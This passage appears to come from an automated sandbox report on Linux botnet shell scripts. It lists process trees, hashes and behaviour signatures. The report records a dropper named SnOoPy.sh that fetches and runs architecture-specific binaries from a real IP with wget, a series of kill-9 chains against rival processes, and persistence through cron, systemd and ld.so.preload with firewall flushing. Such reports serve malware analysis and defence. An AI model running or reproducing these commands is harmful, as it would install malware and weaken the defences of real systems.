
[xargs -I % kill -9 %]

/bin/grep

[grep 45.76.122.92]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 51.38.191.178]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 51.15.56.161]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 86s.jpg]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep aGTSGJJp]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep nMrfmnRa]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep PuNY5tm2]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep I0r8Jyyt]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep AgdgACUD]

/bin/ps

[ps aux]

/bin/grep

[grep uiZvwxG8]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep hahwNEdB]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep BtwXn5qH]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 3XEzey2T]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep t2tKrCSZ]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep HD7fcBgg]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep zXcDajSs]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep 3lmigMo]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep AkMK4A2]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep AJ2AkKe]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep HiPxCJRS]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep http_0xCC030]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep http_0xCC031]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep http_0xCC032]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep http_0xCC033]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep C4iLM4L]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep aziplcr72qjhzvin]

/usr/bin/awk

[awk {print $2}]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk { if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /boot/vmlinuz]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep i4b503a52cc5]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep dgqtrcst23rtdi3ldqk322j2]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 2g0uv7npuhrlatd]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep nqscheduler]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep rkebbwgqpl4npmm]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep ]]

/usr/bin/awk

[awk $3>10.0{print $2}]

/bin/grep

[grep -v aux]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 2fhtu70teuhtoh78jc5s]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep 0kwti6ut420t]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 44ct7udt0patws3agkdfqnjm]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk length($11)>19{print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v _]

/bin/grep

[grep -v -]

/bin/grep

[grep -v /]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep \[^]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep rsync]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep watchd0g]

/usr/bin/xargs

[xargs -I % kill -9 %]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp
US 1.1.1.1:53 debian9-mipsel-20240611-en-9 udp

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

/var/spool/exim4/input/1tJY3V-0000Bz-Tp-D

MD5 64247e8d04e47cb0a8ce1ad2eba1e2b2
SHA1 8e2e94a9fb3ddf783cada487319db8706aea2555
SHA256 562c1612d98f9bdbd78d3e8691f133d48868729f14eda8a1b8a72cc3ea83862b
SHA512 26198aae3167054c0fff857841dda1bb049831ad76486e20ee1e7f299d1db7c5d99d54d88018f10b61ff53411b6baa8adfe4afe29e0a1b227864dfaf213b6e6a

/var/spool/exim4/input/1tJY3V-0000Bw-QW-D

MD5 56dee9c75bba947f2f7bb25b839f2fd2
SHA1 eedf7764073f76b57c08ec67d7c46fd7fb732a27
SHA256 a64597090e1668c0f3cd75dd6c2383c431ee89b79aa321df0747648d30353511
SHA512 1a7ac957d1d3c4ec6cbe1a3fa8f337c58431342d15177fd2c31e5846ced9a02ee5a0366cc176720764d4b0f6e52cd1aa9c0dd61f9a63350635c82d33e0c7f2b4

/var/spool/exim4/input/hdr.740

MD5 05865d16e5ae63ae192e23578b06e370
SHA1 eb4f42ea1ec84df5e9012e056c24b8d7d097e89c
SHA256 d29c1386f261c67d7d88de3f26e943f998e6a54750af8df9333e145ef09dd51b
SHA512 5f555cc1f8797688702e0b3016623a6d6cf71d1c33e64aed7d8be5ae1443b2d1550acf78149db668acad009c1f09fc45da6ed9a231dfb452afba8557d70c96d8

/var/spool/exim4/msglog/1tJY3V-0000Bw-QW

MD5 d774634014d4a78c9f197ee2cf1c475d
SHA1 fab814f326a79272730d370881b6dc835f8314af
SHA256 12ab2d25ce88a9c1acd90b6b1064f20e3527f945f89af73f7991c66f77bc665c
SHA512 dea7372fe0947f03133cbd724066fa84c9e304141f49f7f1d9ff43de3e86685c663b6883149126d6d3a3edb94a356299f77ed23c7b7906f42e086d82f690e8ad

/var/spool/exim4/msglog/1tJY3V-0000Bz-Tp

MD5 8128781ec215f385991fafa7a3154422
SHA1 9e016e8270fb7fce8028b89ed5a2b4c8abb8a465
SHA256 43aca481001e9c0af8385b070214c7e1ca67dc59f8b7cbfaa9b61cad48b07bcb
SHA512 f3079838e71fd436aafa1549b140e3a1ac4e8e5867ba7ef408922be992cec0e1d1e063e201ba4094fae8d28364bd45caacab8dbc54b569ccbcb650c7da136bf4

/var/mail/user

MD5 0529977e53241a32201eaaeca59f4c47
SHA1 ed10574484ec42b152d47ea17fcfcc41767b5499
SHA256 25bdc780a4fdfca1c93df4587eae922e2564aa7d2b937bb234f19a47aa8581b3
SHA512 03408324ce7d483341e3342e6c017fb285526ca642b4e005f4570f3ed13e7abca7ef4d754ec7596af0a393617c6a1a25c42555318c9ee3c847e4d12c158723d5

/var/spool/exim4/input/1tJY3V-0000Bw-QW-J

MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

/var/spool/exim4/msglog/1tJY3V-0000Bw-QW

MD5 a0109f333a276a29410850bd32bcd5e4
SHA1 d83403eccef3e9bd3da515a45b4dd7d96b99c8d5
SHA256 a6fb0a6169417e316c1f6b5f29fe3f97635edaff8f91a35ef5309eeb76d19f41
SHA512 7f7c80c4d53e1d16d0f9d05793b86fe4f60255cee3905a56fc25e8465bf0166a63126ba4e87db00301a90da91ce71251bc7f23058faa00c2471a5a791f1223f1

/var/mail/user

MD5 cb2c7ab97a975fecfbb54b5936690fc6
SHA1 6ee02f7d48daf6ba6863a82cb404fe060d4ab6fd
SHA256 d54741da29ea633b28ed7ea9dac0304d71c831a3824f78657652e715d46ea2c1
SHA512 c2e43f091cf78c73329c6ace55da1ccb47373b49a2015c899ab98317b0fcb999e23c3ce742912c51d56800977cd0ab23ed3f1e90bc7a360042b49077559b5193

/var/spool/exim4/msglog/1tJY3V-0000Bz-Tp

MD5 d5f36a2b71e15fce69cccfb72cd446ea
SHA1 9d964537bed0da356f1cab45cc33cf77e0f9997c
SHA256 f7e0ec11dc9948ea721f05d6be3ccfba18a52a509f3c9f76446780cb7391ca1e
SHA512 eb280e71587fed3cd708cb392a205bcb810a32e1ffc4a990f716390801a4a6831c4441c84165f1c3aa6501b8cdc1cc4b93afe65cea26fd3ef87308aa0e94374a

memory/1497-1-0x771a9000-0x771ba050-memory.dmp

/var/spool/cron/crontabs/tmp.g3VW9c

MD5 767d9c81cd72065163fbfa6ace3d0451
SHA1 230e1c8938cf32bb4caa8888633071a5eb5010b8
SHA256 8a036f9e6b09ec35cb24ba265dcac314a9b37871f3f61d110f2a9093fbfa8757
SHA512 2b2d17035e76a852ea7769076c4df4436b34c1a0ddfe11ee8e83ec49af618612a18a0492770c84a8cc92e528c06ed3a3947f7d5b5e782a3ef717f7d19e6a3977

/var/spool/cron/crontabs/tmp.yH9oSx

MD5 93b72c9fcc86ba9a19c6a0354c302d33
SHA1 d31d5778a9b8a26b16e82901b2bf0e72835823c1
SHA256 dffef83bb8c1bd7600f4a165e2d8b0c19d4c95ca5ec94c507506640b5d0e093f
SHA512 d665b231eb6de52d87a83b03dd83cf163380d2c97bda45255607753e4943778841622263a31e1c624d90ee259407632382739df96c87cab59a68f8fa1ce8ed32

/var/spool/cron/crontabs/tmp.RMZ6Od

MD5 580a2d74aa886afb1de15977a7d53afe
SHA1 e79e2c478bdfe2fd43a1f064535449a7eccafd54
SHA256 e5d67bf2d2ce21b028f6c1a76270d0e49d5858f2ffd0098b459b100fd2603e40
SHA512 1e8fe7c753049423cf1ad2d24eb0617a1ab1f7df3b64af8cfea4a457867ff504c1c6e39f3c898fd278b06c144f82d8a5f0254fc1df8082bc91e0f05848c766ca

/var/spool/cron/crontabs/tmp.CdQAOp

MD5 9632dd6646708365eba91414368c5ccd
SHA1 f7784d9166a24cee10437911d94813303f56f736
SHA256 8517d26a7048e43914cb097eb44368b1171f282f665f3843f1af6df251c0405a
SHA512 f74dec04ebf67e080302b65d6d5f18461d05e929e57970852141074e39924eee87491a93e51e67409fc79405a9949a293bb12d24b638ead598b4b16e5a450cad

/var/spool/cron/crontabs/tmp.jfkgje

MD5 8a6ca2015de4ae9df7c9f830b4f7aaec
SHA1 4f1be3a3cbfc04d66a6329ffe8fc3e16d7afc281
SHA256 399d780ffd1fd45dfe3520396f6db4781234ad188df579b03cec377f0a3ccd86
SHA512 c7d58bc16f2ee1db9556c299fd7473ed2737f7c6b690daec86b0b51ee9d62423485441e04e8ea3b05d898c06b988b2ebd34828fa127f46536095dfc77361a701

memory/1797-2-0x77197000-0x771a8060-memory.dmp

Analysis: behavioral31

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsbe-20240729-en

Max time kernel

46s

Max time network

50s

Command Line

[/tmp/script_malware/SnOoPy.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/SnOoPy.sh N/A

Processes

/tmp/script_malware/SnOoPy.sh

[/tmp/script_malware/SnOoPy.sh]

/usr/bin/wget

[wget http://185.144.159.137/m-i.p-s.SNOOPY]

/bin/chmod

[chmod +x m-i.p-s.SNOOPY]

/tmp/m-i.p-s.SNOOPY

[./m-i.p-s.SNOOPY]

/bin/rm

[rm -rf m-i.p-s.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-p.s-l.SNOOPY]

/bin/chmod

[chmod +x m-p.s-l.SNOOPY]

/tmp/m-p.s-l.SNOOPY

[./m-p.s-l.SNOOPY]

/bin/rm

[rm -rf m-p.s-l.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/s-h.4-.SNOOPY]

/bin/chmod

[chmod +x s-h.4-.SNOOPY]

/tmp/s-h.4-.SNOOPY

[./s-h.4-.SNOOPY]

/bin/rm

[rm -rf s-h.4-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-8.6-.SNOOPY]

/bin/chmod

[chmod +x x-8.6-.SNOOPY]

/tmp/x-8.6-.SNOOPY

[./x-8.6-.SNOOPY]

/bin/rm

[rm -rf x-8.6-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-6.SNOOPY]

/bin/chmod

[chmod +x a-r.m-6.SNOOPY]

/tmp/a-r.m-6.SNOOPY

[./a-r.m-6.SNOOPY]

/bin/rm

[rm -rf a-r.m-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-3.2-.SNOOPY]

/bin/chmod

[chmod +x x-3.2-.SNOOPY]

/tmp/x-3.2-.SNOOPY

[./x-3.2-.SNOOPY]

/bin/rm

[rm -rf x-3.2-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-7.SNOOPY]

/bin/chmod

[chmod +x a-r.m-7.SNOOPY]

/tmp/a-r.m-7.SNOOPY

[./a-r.m-7.SNOOPY]

/bin/rm

[rm -rf a-r.m-7.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/i-5.8-6.SNOOPY]

/bin/chmod

[chmod +x i-5.8-6.SNOOPY]

/tmp/i-5.8-6.SNOOPY

[./i-5.8-6.SNOOPY]

/bin/rm

[rm -rf i-5.8-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-6.8-k.SNOOPY]

/bin/chmod

[chmod +x m-6.8-k.SNOOPY]

/tmp/m-6.8-k.SNOOPY

[./m-6.8-k.SNOOPY]

/bin/rm

[rm -rf m-6.8-k.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-4.SNOOPY]

/bin/chmod

[chmod +x a-r.m-4.SNOOPY]

/tmp/a-r.m-4.SNOOPY

[./a-r.m-4.SNOOPY]

/bin/rm

[rm -rf a-r.m-4.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-5.SNOOPY]

/bin/chmod

[chmod +x a-r.m-5.SNOOPY]

/tmp/a-r.m-5.SNOOPY

[./a-r.m-5.SNOOPY]

/bin/rm

[rm -rf a-r.m-5.SNOOPY]

Network

Country Destination Domain Proto
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-armhf-20240611-en

Max time kernel

54s

Max time network

60s

Command Line

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

Signatures

Modifies the dynamic linker configuration file

exection persistence privilege_escalation defense_evasion
Description Indicator Process Target
File opened for modification /etc/ld.so.preload /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.asa3Ff /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.AqolIp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.n5tp60 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SDJtsR /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.bvXCPn /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0CLNhV /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.K3B81Q /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.yjKCL8 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.KncNNw /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.ZZjXlN /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.6D1GBx /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Tj5kWW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.fWMC6V /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.5GkEul /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.GLgat8 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.LBvCHs /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.ixXbQW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.ubf1oh /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.eKPInk /usr/bin/crontab N/A

Enumerates running processes

Modifies systemd

persistence privilege_escalation
Description Indicator Process Target
File opened for modification /lib/systemd/system/bot.service /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

Checks CPU configuration

antivm
Description Indicator Process Target
File opened for reading /proc/cpuinfo /usr/bin/curl N/A
File opened for reading /proc/cpuinfo /usr/bin/curl N/A
File opened for reading /proc/cpuinfo /usr/bin/curl N/A
File opened for reading /proc/cpuinfo /usr/bin/curl N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/42/status /usr/bin/pkill N/A
File opened for reading /proc/775/cmdline /bin/ps N/A
File opened for reading /proc/11/cmdline /usr/bin/pkill N/A
File opened for reading /proc/21/status /usr/bin/pkill N/A
File opened for reading /proc/149/status /bin/ps N/A
File opened for reading /proc/726/status /usr/bin/pkill N/A
File opened for reading /proc/345/cmdline /bin/ps N/A
File opened for reading /proc/27/status /bin/ps N/A
File opened for reading /proc/6/cmdline /usr/bin/pkill N/A
File opened for reading /proc/13/status /usr/bin/pkill N/A
File opened for reading /proc/18/status /usr/bin/pkill N/A
File opened for reading /proc/106/stat /bin/ps N/A
File opened for reading /proc/318/status /usr/bin/pkill N/A
File opened for reading /proc/15/cmdline /usr/bin/pkill N/A
File opened for reading /proc/18/status /usr/bin/pkill N/A
File opened for reading /proc/222/status /usr/bin/pkill N/A
File opened for reading /proc/629/cmdline /usr/bin/pkill N/A
File opened for reading /proc/696/cmdline /usr/bin/pkill N/A
File opened for reading /proc/106/status /bin/ps N/A
File opened for reading /proc/filesystems /bin/sed N/A
File opened for reading /proc/167/cmdline /usr/bin/pkill N/A
File opened for reading /proc/315/status /usr/bin/pkill N/A
File opened for reading /proc/9/status /usr/bin/pkill N/A
File opened for reading /proc/77/status /usr/bin/pkill N/A
File opened for reading /proc/429/status /usr/bin/pkill N/A
File opened for reading /proc/295/status /usr/bin/pkill N/A
File opened for reading /proc/291/status /bin/ps N/A
File opened for reading /proc/280/cmdline /usr/bin/pkill N/A
File opened for reading /proc/2/cmdline /usr/bin/pkill N/A
File opened for reading /proc/98/cmdline /usr/bin/pkill N/A
File opened for reading /proc/222/cmdline /usr/bin/pkill N/A
